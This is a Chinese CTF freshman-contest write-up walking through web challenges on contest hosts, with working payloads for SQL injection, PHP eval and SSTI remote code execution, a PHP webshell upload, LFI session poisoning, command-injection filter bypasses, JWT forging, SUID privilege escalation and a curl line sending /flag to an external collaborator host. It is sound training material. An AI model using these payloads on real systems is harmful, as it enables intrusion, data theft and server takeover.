ZYCTF 新生赛 WriteUp

[TOC]

Web 方向

1. HTTP

工具:Burp Suite

创建实例并打开网页,根据题目提示可知本题考察 HTTP 请求参数。

image-20260829094033445

  1. 启动 Burp Suite(以下简称 bp),使用内置浏览器打开目标网页,并在代理中开启拦截。

image-20260829094506391

  1. 根据网页提示,在检查器中添加请求查询参数,输入 name 和 newstar,然后点击放行,进入新页面。

image-20260829094720840

image-20260829094938879

  1. 再次拦截请求,在检查器中把请求方法由 GET 改为 POST,并在请求体中添加参数 password=ctf(从这一步开始,之后的每一步都要在上一步操作的基础上继续,保留之前的修改)。

image-20260829095121859

image-20260829101802559

  1. 继续重复上述操作,在保留此前修改的同时,在操作台中添加 Cookie:identity=player,放行进入新页面。

image-20260829102226105

image-20260829102327876

  1. 操作同上,在操作台的请求头中把 User-Agent 修改为 Br0wser,放行进入新页面。

image-20260829104242381

image-20260829104335502

  1. 同上,在操作台中添加请求头 Referer: http://zypc.xupt.edu.cn/,放行进入新页面。

image-20260829104751213

image-20260829104814954

  1. 同上,在操作台添加请求头 X-Forwarded-For: 127.0.0.1,成功拿到 Flag。

image-20260829104927638

image-20260829104958935

2. 安慰一下

工具:浏览器 F12 Console(控制台)

下载题目压缩包并解压,发现里面有两个文件。

image-20260829153334185

打开这两个文件,内容分别如下:

image-20260829154635861

(part1)

image-20260829164442205

(part2)(这算不算夹带私货)

根据题目提示 console 可知需要在浏览器控制台中操作:新建空白页(在地址栏输入 about:blank),按 F12 打开控制台,将两个文件中的内容分别输入,得到两部分 Flag。

image-20260829165629022

image-20260829165651300

将两部分合并,得到 Flag

3. 校园教务系统

考点:SQL 注入

根据题目提示“因为 1=1,2=2,所以 3=3。我在胡言乱语什么”推测为 SQL 注入。打开网页是一个登录系统,只有账号、密码两个输入框。

image-20260829170622763

已知后端 SQL 原始语句为:

1
select * from user where username='$username' and password='$password'

根据 SQL 语法规则,# 后面的内容会被当作注释而不执行。尝试使用 SQL 万能密码登录:在账号框输入 ' or 1=1#(密码随意),成功拿到 Flag。

image-20260829171247629

4. 世界上最好的语言

考点:PHP 语言特性 + HackBar 插件

打开网页发现一段 PHP 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);

$a = $_GET['a'] ?? '';
$b = $_GET['b'] ?? '';
if ($a !== $b && md5($a) == md5($b)) {
echo '<p> 不错,那接下来呢 </p>';
$input = $_POST['input'] ?? '';
$point = 0;
switch ((int) $input) {
case 0:
if(!preg_match('/\D/i', $input)) {
die('你知道什么是正则表达式吗');
}
else {
$point += 1;
}
case 2:
if(!preg_match('/[^A-Z]/', $input)) {
die('你知道什么是正则表达式吗');
}
else {
$point += 1;
}
case 3:
if(!preg_match('/^o{5,}k$/', $input)) {
die('你知道什么是正则表达式吗');
}
else {
$point += 1;
}
default:
if($point == 3){
echo htmlspecialchars(trim(file_get_contents('/flag')), ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
else {
die('你的分不够');
}
}
} else {
echo '<p> 你知道php关于比较的语言特性吗 </p>';
}

第一关利用 PHP 弱比较:$a !== $b 要求两字符串不同,但 md5($a) == md5($b) 要求两者 MD5 值用 == 判断相等。使用网上公开的 MD5 0e 碰撞字符串 s878926199a 和 s155964671a 即可绕过。

第二关需要输入一串字符同时满足四个条件:

  1. 强制转 int 后为 0(进入 case 0 分支);
  2. 包含非数字字符(通过 case 0 的 /\D/ 检查);
  3. 不能全为大写字母,需包含非大写字母(通过 case 2 的 /[^A-Z]/ 检查);
  4. 以至少 5 个小写 o 开头、以 k 结尾(通过 case 3 的 /^o{5,}k$/ 检查)。

因此构造字符串 ooooook 即可同时满足全部条件。

准备工作完成,打开网页按 F12 进入 HackBar,在 URL 栏输入:

1
http://ctf.zypc.xupt.edu.cn:50740/?a=s878926199a&b=s155964671a

勾选下方 POST body,输入:

1
input=ooooook

点击 Execute 获得 Flag。

image-20260829174919909

Flag:zypc{287c6d78-7f83-4ec6-8fd5-54b30bc5ff36}

5. 俄罗斯方块

考点:浏览器控制台、HackBar 及 PHP eval

打开网页得知需要把分数玩到 100000000 分。按 F12 打开控制台,直接修改分数:

1
score=100000000

随意消掉一行(消掉一行也好难……),发现网页自动跳转,页面里有一段代码:

1
2
3
4
5
6
7
8
<?php
if ($_SERVER['REQUEST_METHOD'] !== 'POST' || ($_POST['score'] ?? null) !== '100000000') {
http_response_code(403);
exit('403');
}

highlight_file(__FILE__);
@eval($_POST['code'] ?? '');

分析可知需要 POST 提交两个参数:

1
score=100000000 和 code=

利用 eval 可以把字符串当作 PHP 命令执行的特点,打开 HackBar,在 URL 处输入当前地址,勾选 POST body,输入:

1
score=100000000&code=system('cat /flag');

运行得到 Flag。

image-20260829193955892

6. 我…回来了?

工具:Burp Suite

打开网页发现又回到了比赛页面。题目已提示会发生跳转,考虑关闭重定向跟随。打开 bp 拦截网页。

image-20260829204619039

把第一个 GET 请求发送到重发器(Repeater),在设置里将“跟随重定向”改为“从不”,点击发送。

image-20260829205010047

观察响应中的 Location: /zypc.php 可知具体地址,把请求行改为:

1
GET /zypc.php HTTP/1.1

发送并观察右侧响应栏。

image-20260829205832873

得到 Flag。

7. 邮电淘气

工具:Burp Suite

打开网页得知需要 999 淘币才能兑换 Flag,而当前只有 5 块,推测需要在 bp 中修改参数。

使用 bp 内置浏览器打开网页,下滑至兑换区域,开启拦截并执行兑换 999 淘币的操作。

image-20260829211324885

发送至重发器,将参数 4995 改为 5。

image-20260829211411164

运行成功后返回代理,将下面的参数 4995 同样改为 5,放行后获得 999 淘币并兑换到 Flag(话说其他的东西是真的嘛,我又玩了一次把所有除了 flag 的都买了)。

image-20260829211852211

8. 流光焰火

考点:dirsearch + GitHack(信息泄露)

由题目可知为信息泄露题。在 dirsearch 目录中打开终端,输入命令扫描:

1
python dirsearch.py -u http://ctf.zypc.xupt.edu.cn:50403 -e php,txt,zip,tar,md,bak,swp,env -t 10

image-20260829221444413

扫描得知存在 .git 泄露,用 GitHack 还原源码:

1
python GitHack.py http://ctf.zypc.xupt.edu.cn:50403/.git/

点开目录,在 notes 里找到交接的 handoff。

image-20260829222146550

根据信息获得运营台 URL 与账号密码,登录后进入后台。

image-20260829222347267

在当前页面寻找正确的日志路径,经过尝试,输入 ../../../../../flag 成功获得 Flag(猜猜我试了多久(*꒦ິ⌓꒦ີ))。

image-20260829222720794

9. showflag

考点:PHP 反序列化

打开网页发现是 PHP 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$flag = file_get_contents("/flag");
class ShowFlag {
public $show = false;

public function __destruct() {
if ($this->show) {
echo $GLOBALS['flag'];
}
}
}

highlight_file(__FILE__);

$payload = $_GET["data_ZYPC.CTF"];
if (isset($payload)) {
unserialize($payload);
} else {
echo "上传类型不对哦";
}
?>

需要构造一个 ShowFlag 对象,令其 show 属性为 true,序列化后传给 data_ZYPC.CTF 参数即可拿到 Flag。编写如下 PHP 脚本生成序列化串:

1
2
3
4
5
6
7
<?php
class ShowFlag {
public $show = true;
}
$obj = new ShowFlag();
echo serialize($obj);
?>

运行后得到字符串:

1
O:8:"ShowFlag":1:{s:4:"show";b:1;}

理论上直接在原 URL 后加上 /?data_ZYPC.CTF=O:8:"ShowFlag":1:{s:4:"show";b:1;} 即可,但本题是低版本 PHP 且参数通过 $_GET 获取,存在一个解析缺陷:当 [ 只有半个(未闭合)时,其后的 . 会被解析为 _ 并在此处中断,因此 . 会被保留。利用这一特性,把 URL 改为 /?data[ZYPC.CTF=O:8:"ShowFlag":1:{s:4:"show";b:1;} 就能拿到 Flag(力竭了 awa)。

image-20260829230603250

10. 流光焰火_Revenge

工具:dirsearch

之前我们已经做过这个题了,这次只是他的revenge版本,按照上次的思路先用dirsearch扫一下目录

1
2
3
4
cd C:\Users\lenovo\Desktop\网安\web\dirsearch-0.4.3
python -m pip install -r requirements.txt
python dirsearch.py -u http://ctf.zypc.xupt.edu.cn:50951 -e php,html,txt,zip,bak,git -t 50

扫描出来的结果显示是git源码泄露image-20260904152551021

使用git-dumper(某学长推荐)还原源码

1
2
cd C:\Users\lenovo\Desktop\网安\web
git-dumper http://ctf.zypc.xupt.edu.cn:50951/.git/ C:\Users\lenovo\Desktop\网安\web\git_repo

根据前面的经验优先翻看git提交历史

1
2
3
git log --all --oneline
git reflog
git branch -a

得到关键信息

1
2
0ad31e6  chore: add temporary operator handoff        ← 加了"操作员交接"文件
bba0e3e chore: remove temporary operator handoff ← HEAD,把交接文件删了

得知出题人加了一个”临时交接文件“ ,紧接着又将它删掉,伪装成处理干净,接下来便是查看这个交接文件

1
git show 0ad31e6

获得后台账号密码image-20260905092212985

依旧进入后台输入密码来到查看日志这里,按照上题思路输入../../../../../flag查找flag发现无果,怀疑../被过滤掉了,尝试用….//替换../最终获得flag

image-20260905092831011

11. ping测试

工具:Burp Suite

打开页面后是一个ping测试工具image-20260905093433732

推测需要命令注入,在尝试寻找注入点的时候弹出了战败cg(恶趣味….)image-20260905093932545

得知这题需要waf绕过,尝试切换拼接符在尝试到%0a时显示报错image-20260905094245465

得知后端没有把%0a识别为真正的换行符,决定用Burp Suite拦截请求,在原始报文里发真实字节。将拦截请求发送到bp重发器,输入

1
host=127.0.0.1%0als

后发送,显示仍被waf拦住

image-20260905094845553

继续尝试,确认换行是否走得通

1
2
host=127.0.0.1%0apwd
host=127.0.0.1%0aid

均显示被waf拦截,确定换行走不通,换方向用url编码分隔符绕过(在浏览器时%0a无法识别,换bp显示被waf拦截,表明有可能是waf在检查原始文本,PHP是在url解码后再进行的,因此把分隔符用url编码,原始报文里就不是危险字符,PHP解码后就变成真分隔符了)输入

1
2
3
host=127.0.0.1%26ls      # %26 = &,shell 里变成两条命令
host=127.0.0.1%3bls # %3b = ;,顺序执行
host=127.0.0.1%7cls # %7c = |,管道执行

再%7c中显示处关键信息image-20260905095812165

这次是正常的ping,确定%7c可用,开始尝试读取flag,优先查看源码输入

1
host=127.0.0.1%7ccat index.php

发现被waf拦截,已经知道%7c不会被拦截,推断拦截的是cat,所以我们要绕过cat,察觉到先前没有尝试过空格,输入

1
host=127.0.0.1%7cls -la

发现又被拦截了!!!排除空格,现在绕过cat读源码

1
host=127.0.0.1%7cc""at<index.php

里面有一个关键信息

1
2
3
4
5
elseif (preg_match('/[;&\s?]|cat|tac|flag/i', $host) === 1) {
// WAF 拦截
} else {
$result = shell_exec('ping -c 3 ' . $host . ' 2>&1'); // 直接拼接执行
}

可知它只拦字符:;、&、所有空白(空格 / Tab / 换行)、?关键词:cat、tac、flag外加 strlen($host) > 32 的长度限制,像|、<、>、$、引号、括号全部可用,所以cat 用 c””at 打散、flag 用 fl* 通配符,列根目录读取(网页输入)输入

1
127.0.0.1|ls${IFS}/

列根目录image-20260905105203345

发现flag,输入

1
127.0.0.1|c""at${IFS}/f*

查看发现image-20260905105511697

(恼)这是一个假flag,推测隐藏目录里是否有真flag,输入

1
127.0.0.1|ls${IFS}-a${IFS}/

image-20260905105835573

发现了一个全是数字的隐藏文件,推测flag就藏在里面,读取这个文件,输入

1
127.0.0.1|c""at${IFS}/.*3*    (通配符)

image-20260905110054975

得知为一个文件夹,输入

1
127.0.0.1|ls${IFS}/.*3*

查看文件夹,发现里面就一个flag文件输入

1
127.0.0.1|c""at${IFS}/.*3*/*

成功拿到flagimage-20260905110232807

(力竭了)坏蛋康可…..

12. 会说话的汤姆猫

考点:SSTI 模板注入(Smarty)

打开网页,里面是一只汤姆猫,输入扫描它就回什么,说明输入被后端接收并原样回显,首先用探针看tom的回显,输入{{7*7}}image-20260905110802093

判断为SSTI 模板注入(Jinja2 系),再输入:

1
&#123;&#123;config&#125;&#125;、&#123;&#123;self&#125;&#125;、&#123;&#123;zzzz&#125;&#125;、&#123;&#123;'a'~'b'&#125;&#125;

均显示走神image-20260905112501908

怀疑 WAF 过滤关键字,随后验证

输入 回显 说明
&#123;&#123;7*7&#125;&#125; 喵~ 49 合法表达式 → 正常
&#123;&#123;'config'&#125;&#125; 喵~ config 合法字符串 → 正常
&#123;&#123;[1,2]&#125;&#125; 喵~ + PHP Warning 合法数组 → 正常(但触发数组转字符串告警)
&#123;&#123;(7)&#125;&#125; 喵~ 7 合法括号 → 正常
&#123;&#123;'a'~'b'&#125;&#125; 走神 ~ 不是该引擎的合法运算符
&#123;&#123;zzzz&#125;&#125; 走神 未定义的标签/变量
&#123;&#123;config&#125;&#125; / &#123;&#123;self&#125;&#125; 走神 非法的标签语法

通过验证「走神」根本不是 WAF,而是模板引擎对非法语法的报错,被应用统一 try/catch 捕获后的提示。只要发送合法的模板语法,就能正常执行。

输入

1
&#123;&#123;[1,2]&#125;&#125;

确认模板引擎,回显中的

1
Warning: Array to string conversion in /var/lib/talking-tom/templates_c/3a300a6310da766c439a57db94acb0a4eea4e283_0.string_.php on line 20

确认为Smarty 模板引擎,输入

1
&#123;&#123;$smarty.version&#125;&#125;

确认版本回显

1
喵~ 5.8.4

image-20260905113730740

尝试 Smarty 经典 RCE payload:

1
&#123;&#123;if system('id')&#125;&#125;&#123;&#123;/if&#125;&#125;   

回显 喵~(空),语法通过但没有任何执行结果。确认 {if} 语句本身可用

1
&#123;&#123;if 1&#125;&#125;x&#123;&#123;/if&#125;&#125;

image-20260905113955737

验证可用输入

1
&#123;&#123;fetch file='/etc/passwd'&#125;&#125;

读取内置函数{fetch}

image-20260905114116211

文件读取成功,{fetch} 默认可用且未做任何路径限制。(5555……终于要结束了)

直接读取 flag 文件,输入

1
&#123;&#123;fetch file='/flag'&#125;&#125;

获得flag

image-20260905114249046

13. 校园教务后台_Revenge

考点:SQL 注入(联合注入)

打开网页,这是一道升级题,按照原来的方法输入

1
' or 1=1#

image-20260905114732185

认证成功,但未获得flag,网页提示,仅用于日常教务维护。现在要用联合注入把数据库里的数据读出来,输入

1
' union select 1,2,3#

image-20260905114939021

这说明union select 生效了,页面显示「身份认证成功,3」,同时说明了查询一共 3 列且第 3 列是回显位。按照这个信息,我们查数据库名,输入

1
' union select 1,2,database()#

image-20260905115226808

库名拿到了:campus_revenge,接下来查表名,输入

1
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='campus_revenge'#

image-20260905115636841

两个表出现了,flag便是我们的目标,输入

1
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='campus_revenge' and table_name='flag'#

image-20260905115741455

flag 表的字段出来了:id, flag。现在输入

1
' union select 1,2,flag from flag#

成功拿到flag

14. 账户管理系统

考点:SSRF

打开网页发现要登录,且右下角有注册口,根据提示curl推测突破口在注册上,打开注册页面image-20260905121034279

发现关键信息,头像url这个字段就是后端会调用 curl 去抓取的地方,符合提示curl 会诱发哪些漏洞——SSRF(服务端请求伪造)注册一个账号,头像 URL 输入探测 payloadimage-20260905121326777

image-20260905121345242

现在登录且来到了个人资料页,而且「头像 URL」里已经填好了 file:///etc/passwd,点击保存发现正常保存,然后点击查看头像可以看到ssrf成功了,服务器直接把 /etc/passwd 的完整内容显示出来了这意味着头像 URL 填什么路径,/avatar/1 就给你读什么文件。接下来就是换路径找 flag。image-20260905122433542

返回到个人资料,头像输入file:///flag(flag常见位置),保存后查看头像获得flag

15. 鹊桥笺 · 七夕告白

工具:Burp Suite

打开网页发现F12及右键按不了,在浏览器右上角点击web开发者工具手动打开F12页面,发现一串密文

image-20260905122906832

对其进行解密(先 ROT13 再 Base64)解密后为「月老说 5201314.php 抵达的地方也许能寄出心意」根据提示url输入

1
http://ctf.zypc.xupt.edu.cn:50025/5201314.php

来到第二关image-20260905123148196

这里说了要寄出1314封,想到用bp攻击器进行攻击,在bp内置浏览器内寄出一封信,在HTTP历史记录中找到那条记录发送到攻击器,设置为Null payloads,Payload count 填 1314image-20260905123500126

开始攻击,在最后一条(第 1314 条),看右边 Response(响应)获得flag

image-20260905123823714

16. 浮光博客

工具:Burp Suite

打开网页点击F12,发现用户名yanxi,但无密码,想到bp攻击器进行爆破,在攻击器中设置类型sniper在请求体里把 password=adsawda 改成占位并标记。配置字典,Payload set 保持 1,Payload type 选 Simple list,添加密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
123456
12345678
password
yanxi
admin123
123456789
qwerty
666666
111111
123123
000000
abc123
woaini
5201314
1qaz2wsx

开始攻击,得出结果,密码为123456,输入账号密码来到用户界面,image-20260905124647574

主界面什么页面没有,但有一个信息,点击文章是发现链接为 ?file=posts/xxx.php,推测文件包含,尝试路径穿越

1
/?file=posts/../../../../../../etc/passwd

成功读取,确认为lfi,使用 lfi 探测,确认 flag 位置输入

1
/?file=posts/../../../../../../var/www/html/flag.php

image-20260905135026848

(恼)flag.php 被 include 执行但走了隐藏分支。所以我们必须要rce之后再cat /var/www/html/flag.php在尝试日志投毒,头像/简介会话投毒无果后(猜猜我用了多久试这些55555……)想到运用session.upload_progress 注入(这里需要用到竞态,php中有明确的文字说明了这是一个有绝对路径且有固定文件名,方便后续的竞态操作)确定好方向后,开始尝试,搭建两个窗口(a和b),a中输入

1
$b = New-Object byte[] (1000000); [System.IO.File]::WriteAllBytes("C:\Users\lenovo\Desktop\big.png", $b)

创建一个文件(这里限制了不能超过2mb)然后限速上传,输入并运行

1
curl.exe -i -X POST "http://ctf.zypc.xupt.edu.cn:50597/?page=profile" -H "Cookie: PHPSESSID=d1b0dceb108b2b9855f343945dea1d79" -F "action=upload_avatar" --form-string 'PHP_SESSION_UPLOAD_PROGRESS=<?php system(''cat /var/www/html/flag.php''); ?>' -F "avatar=@C:\Users\lenovo\Desktop\big.png;type=image/png" --limit-rate 20K

在b窗口中输入并运行(要在a上传期间运行)

1
curl.exe "http://ctf.zypc.xupt.edu.cn:50597/?file=posts/../../../../../../tmp/sess_d1b0dceb108b2b9855f343945dea1d79" -H "Cookie: PHPSESSID=d1b0dceb108b2b9855f343945dea1d79"

(用到竞态,是因为这样相当于用a在程序中开了一个后门,使得在a生命周期还在的时候再发送请求b去包含这个文件达成一个绕过的效果)

获得flag

17. wp提交处

考点:JWT 伪造

打开网页是wp的登录页面,初次尝试sql注入无果,根据题目提示推断用jwt伪造,但现在我们点开F12的存储cooki并没有发现access_token。

image-20260912112724185

仔细观察网页,发现他的登录页面的账户密码提示很奇怪,不像是正常网站会出现的那种,决定尝试一下username=guest ,password=guest123试一下,成功登录,但现在只是登录,我们需要到管理员admin页面去拿flag,这时点开F12在存储里找到了access_token。image-20260912113032364

这时我们就要伪造jwt来伪装成admin。

因为jwt是防篡改的,签名就是防篡改的锁,所以我们就要拿到签名,F12看查看器,里面有一个关键线索image-20260912113457346

再结合我们先前说的伪造jwt时要签名,轻松推断出uky6767就是签名密钥,现在我们便要伪造一个admin_token

这里分为4步

  • 写 header,声明算法和原token一致
1
{"alg":"HS256","typ":"JWT"}
  • 写 payload,把 role 改成 admin

    1
    {"sub":"admin","username":"admin","role":"admin","iat":1789181644,"exp":1789210444}
  • 算签名

1
signature = base64url( HMAC-SHA256( 密钥"uky6767", header_base64 + "." + payload_base64 ) )
  • 将我们算的拼起来
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIs...NDQ0.NkA8G1b04pER...

这个便是我们的伪造token,现在返回到刚刚看见access_token的地方把后面的token换成我们伪造的然后F5刷新

image-20260912114457249

来到了管理员的页面

现在在控制台中输入shell

1
fetch('/api/upload',{method:'POST',body:(()=>{const f=new FormData();f.append('file',new File(['<?php system($_GET["c"]); ?>'],'shell.php'));return f;})()}).then(r=>r.json()).then(d=>{console.log(d);prompt('复制这个路径',d.url||'')})

获得路径/uupppploading02/shell.php,在url中加入这一段后跳转image-20260912204921631

我们可以看到,shell已经生效了,页面显示PHP报错(shell.php on line 1) ——说明php执行成功,但地址栏末尾缺少?c=cat+/flag。报错中还提到地址在/var/www/html/uupppploading02/shell.php。我们按照这些重新填地址,在地址栏加上?c=cat+/ flag

获得flag

18. 会说话的汤姆猫_revenge

考点:SSTI 模板注入(Jinja2 RCE)

依据提示,汤姆猫换上了新的内核,在结合我们之前写他的原题,推断出他大概是换掉了{fetch}任意文件读,或者换了模板引擎,或加了真过滤。因此,我们需要逐条测试以得知哪些被换,哪些可用

依次输入

测试 回显 含义
{{7*7}} 喵~49 SSTI还在
{{$smarty.version}} 版本号 还是smarty
走神/报错 引擎换了
{{7*’7’}} 49 TWig
7777777 Jinja2
{{’a’~’b’}} ab TWig
{{fetch…}} 文件内容 fetch没修
走神 fetch被拦
{{include…}} 文件内容 include可读

最终确定引擎为Jinja2,ssti还在,同时输入{{config}}回显了完整的Flask配置,最终敲定为Flask+Jinja2同时没有真过滤。那么我们就用最标准的Jinja2 RCE,用config入口,在输入框中输入

1
&#123;&#123;config.__init__.__globals__['os'].popen('cat /flag').read()&#125;&#125;

获得flag

19. 不会说话的汤姆猫

工具:Burp Suite

我们已经写了两道汤姆猫了,这一道与前两道不同的是汤姆猫说不了话(敲1回复是【汤姆猫似乎想说点什么,但他开不了口】),输入不再回显了。

首先用bp抓包看还是不是Flask+Jinja2,后端显示

1
Server: Werkzeug/3.1.8 Python/3.12.14 

Flask还在,推断没有变还是Flask+Jinja2,推测其升级核心为去掉回显,变成”盲ssti“,为了验证这个推测决定用bp来时间盲测确认ssti还在

在bp重发器里把message改为

1
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27sleep%205%27).read()%7D%7D            (&#123;&#123;config.__init__.__globals__['os'].popen('sleep 5').read()&#125;&#125;)

image-20260914191025473看右下角的响应时间,显示为5257约等于5秒,说明它在服务器上真的执行了,确认为rce,现在需要把flag外带出来。

打开 bp 协作器,点击Copy to clipboard获得一个域名(kui84vvw6exfmuvxhsfy970hn8tzhp5e.oastify.com)

在重发器里面把message改为

1
2
3
4
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27curl%20-X%20POST%20--data%20@/flag%20http://kui84vvw6exfmuvxhsfy970hn8tzhp5e.oastify.com/%27).read()%7D%7D

等价于
&#123;&#123;config.__init__.__globals__['os'].popen('curl -X POST --data @/flag http://kui84vvw6exfmuvxhsfy970hn8tzhp5e.oastify.com/').read()&#125;&#125;

点击发送,在协作器中并没有收到请求image-20260914191611807

这里重新检查发现语法正确,怀疑容器禁止出网,改用写文件+浏览器访问的方法找flag即就是把flag写进网站自己能访问的目录。

已知Flask的默认静态目录为/app/static,在输入框中输入

1
&#123;&#123;config.__init__.__globals__['os'].popen('cat /flag > /app/static/f.txt').read()&#125;&#125;

并用浏览器访问

1
http://ctf.zypc.xupt.edu.cn:50559/static/f.txt

发现黑屏image-20260914192325074

看到黑屏,怀疑/flag是否存在,重发器中把message改为

1
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27test%20-f%20/flag%20%26%26%20sleep%205%27).read()%7D%7D

响应时长约为5秒,确认/flag存在。

验证/app/static是否存在,在重发器里把message改为

1
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27test%20-d%20/app/static%20%26%26%20sleep%205%27).read()%7D%7D

响应时间约为5秒,确认目录存在。

f.txt是否写成功,在bp重发器中把message改为

1
2
3
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27test%20-f%20/app/static/f.txt%20%26%26%20sleep%205%27).read()%7D%7D

即&#123;&#123;config.__init__.__globals__['os'].popen('test -f /app/static/f.txt && sleep 5').read()&#125;&#125;

发送后观察下方响应时间约为5秒,确认f.txt成功。三项都成功但仍是黑屏。

决定先对其进行诊断

输入 响应时间 意义
message=%7B%7Bconfig.init.globals%5B%27os%27%5D.popen(%27test%20-s%20/app/static/f.txt%20%26%26%20sleep%205%27).read()%7D%7D 秒回 f.txt文件为空
message=%7B%7Bconfig.init.globals%5B%27os%27%5D.popen(%27test%20-r%20/flag%20%26%26%20sleep%205%27).read()%7D%7D 秒回 web 用户读不了 /flag
message=%7B%7Bconfig.init.globals%5B%27os%27%5D.popen(%27echo%20hello%20%3E%20/app/static/f.txt%27).read()%7D%7D 秒回
message=%7B%7Bconfig.init.globals%5B%27os%27%5D.popen(%27test%20-s%20/app/static/f.txt%20%26%26%20sleep%205%27).read()%7D%7D 约为5秒 写入通道正常

现在明确了,空文件是因为cat /flag 没权限读导致的,同时读取通道是通的。

现在需要确认读取通道。

访问

1
http://ctf.zypc.xupt.edu.cn:50559/static/f.txt

能看到hello说明读取通道打通了,现在输入

1
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27env%20%3E%20/app/static/f.txt%27).read()%7D%7D

再访问刚刚的地址,看flag有没有在环境变量env里面image-20260914195658287

并没有找到flag,接着输入

1
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27id%20%3E%20/app/static/f.txt%3B%20ls%20-la%20/%20%3E%3E%20/app/static/f.txt%27).read()%7D%7D

查看可读的flag文件和根目录文件权限(看/flag到底什么权限)再次访问网站image-20260914200028169

可以发现/flag的权限是-r——–,属主是root,只有root才能读,当前的web用户是tom,所以必须提权至root。

先输入

1
&#123;&#123;config.__init__.__globals__['os'].popen('sudo -l > /app/static/f.txt 2>&1; ls -la /var/run/docker.sock >> /app/static/f.txt 2>&1; find / -perm -4000 -type f 2>/dev/null >> /app/static/f.txt').read()&#125;&#125;

查看常用提权面

image-20260914200732091

这里有一个很关键的信息suid 列表里有一个非标准程序:/usr/local/bin/conquering

它不是系统自带的,那么可以断定它就是提权入口。直接运行conquering,即

1
2
3
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27/usr/local/bin/conquering%20%3E%20/app/static/f.txt%202%3E%261%27).read()%7D%7D

也就是&#123;&#123;config.__init__.__globals__['os'].popen('/usr/local/bin/conquering > /app/static/f.txt 2>&1').read()&#125;&#125;

image-20260914201526382

拿到了SUID程序执行器

1
usage: /usr/local/bin/conquering <program> [argument ...]

(可以用root权限运行指定的任何程序)

那我们就直接用它以root权限读flag(要结束啦,嘻嘻)

输入

1
message=%7B%7Bconfig.__init__.__globals__%5B%27os%27%5D.popen(%27/usr/local/bin/conquering%20cat%20/flag%20%3E%20/app/static/f.txt%202%3E%261%27).read()%7D%7D

然后访问

1
http://ctf.zypc.xupt.edu.cn:50559/static/f.txt

成功获得flag

20. 言语的好最上界世

考点:PHP mb_ereg_replace 代码执行

打开网页是一串PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);

$code = isset($_POST["code"]) ? $_POST["code"] : "";
$pattern = isset($_GET["pattern"]) ? $_GET["pattern"] : "";

if (!empty($code) && !empty($pattern)) {
if (preg_match("/.*?(system|passthru|exec|shell_exec).*?\(.*?\)/is", $code)) {
die("<br><h1>你理解正则表达式吗</h1>");
}
if (preg_match('@([*#~$`%+?"<>]|//|/|\\.|\\\\|\\$)@is', $code)) {
die("<br><h1>有点意思了</h1>");
}
if (strpos($pattern, 'uky') === false) {
die("<br><h1>你会运用正则表达式吗</h1>");
}

mbereg_replace(".*", '\0', $code, $pattern);

echo '<br><br>';
echo '<div style="text-align: center;">';
echo ' <img src="https://bu.dusays.com/2026/09/04/6a9aa2d84201e.png" alt="Pass Banner" style="max-width: 400px; border-radius: 8px; box-shadow: 0 4px 10px rgba(0,0,0,0.15);">';
echo '</div>';
echo '<br>';
}
?>

整体观察发现整体的漏洞出现在最后一句话上

1
mbereg_replace(".*", '\0', $code, $pattern);

它的第四个参数为选项字符串(有一点类似“msr”)。它的作用是当选项里带e时会把替换字符串当作PHP代码执行。这里的替换字符串为’/0‘即就是先被替换为整个匹配内容(.*匹配全部,也就是code),在被eval。所以说code参数内的内容会被当作php代码来执行。而4=$pattern只需要包含uky,再把e混进去就可以了(如euky)。

同时它这里有两个过滤器需要绕过,过滤器1(禁system|passthru|exec|shell_exec 后跟括号),所以我们不用这些函数改用 scandir / readfile / chr / implode / print_r,全都不在禁用名单里,不需要命令执行。

过滤器2(禁 * # ~ $ \ % + ? “< > /.` 等字符):禁 $ → 不需要变量,直接函数调用,一个 $ 都不写;禁 . 和 / → 用 chr(46)(.)、chr(47)(/)现造出来;字符串一律用单引号(单引号没被禁)。

F12在网络查看发现php版本为5.6

收集到了这些消息后,我们首先要验证code能被执行,url上填

1
http://ctf.zypc.xupt.edu.cn:50573/?pattern=euky

请求方式POST,body填

1
code=phpinfo();

运行后获得大表格,说明漏洞利用成功(code被成功执行了)

image-20260914222019119

eval生效,code成功执行,漏洞利用链路打通了,接下来我们就列目录,看flag文件将post body改为

1
code=print_r(scandir(chr(46)));

image-20260914222802331

发现页面并没有任何输出(但eval已经生效),怀疑问题出在scandir这一步,用var_dump 看 scandir 到底返回了什么,将post body换成

1
code=var_dump(scandir(chr(46)));

image-20260914223945459

回复null,这说明disable_functions 禁用了(PHP 对禁用函数会发警告并返回 NULL,警告被隐藏,所以显示 NULL)。到这里就搞清楚了为什么前面明明那个eval生效但没输出的原因。为了能拿到flag我们在这里决定用include去读flag,因为它是语言结构,不是函数,disable_functions 管不到它,同时include(‘/flag’) 会把 /flag 当作 PHP 代码加载执行。如果文件里没有 PHP 标签,就是纯文本,PHP 直接把它原样输出到页面。所以我们在post body中输入

1
code=include(implode('',array(chr(47),'flag')));

成功获得flag

image-20260914224609592

Misc 方向

1. 第一回 首窥未足,更深深处藏魅影;初试奇谋,暗述包裹露真踪

工具:010 Editor

根据题目和内容可知需要在题目所给的照片里找到隐藏信息。根据提示决定用 010 Editor 观察文件结构,在图片的文件尾(FF D9)处发现后面仍有一串代码,翻译过来恰好是题目里的二者对话。

image-20260830183153848

从中捕捉到一串密文:

1
WllQQ3tEM3YxbF9AbTBuZ191NX0=

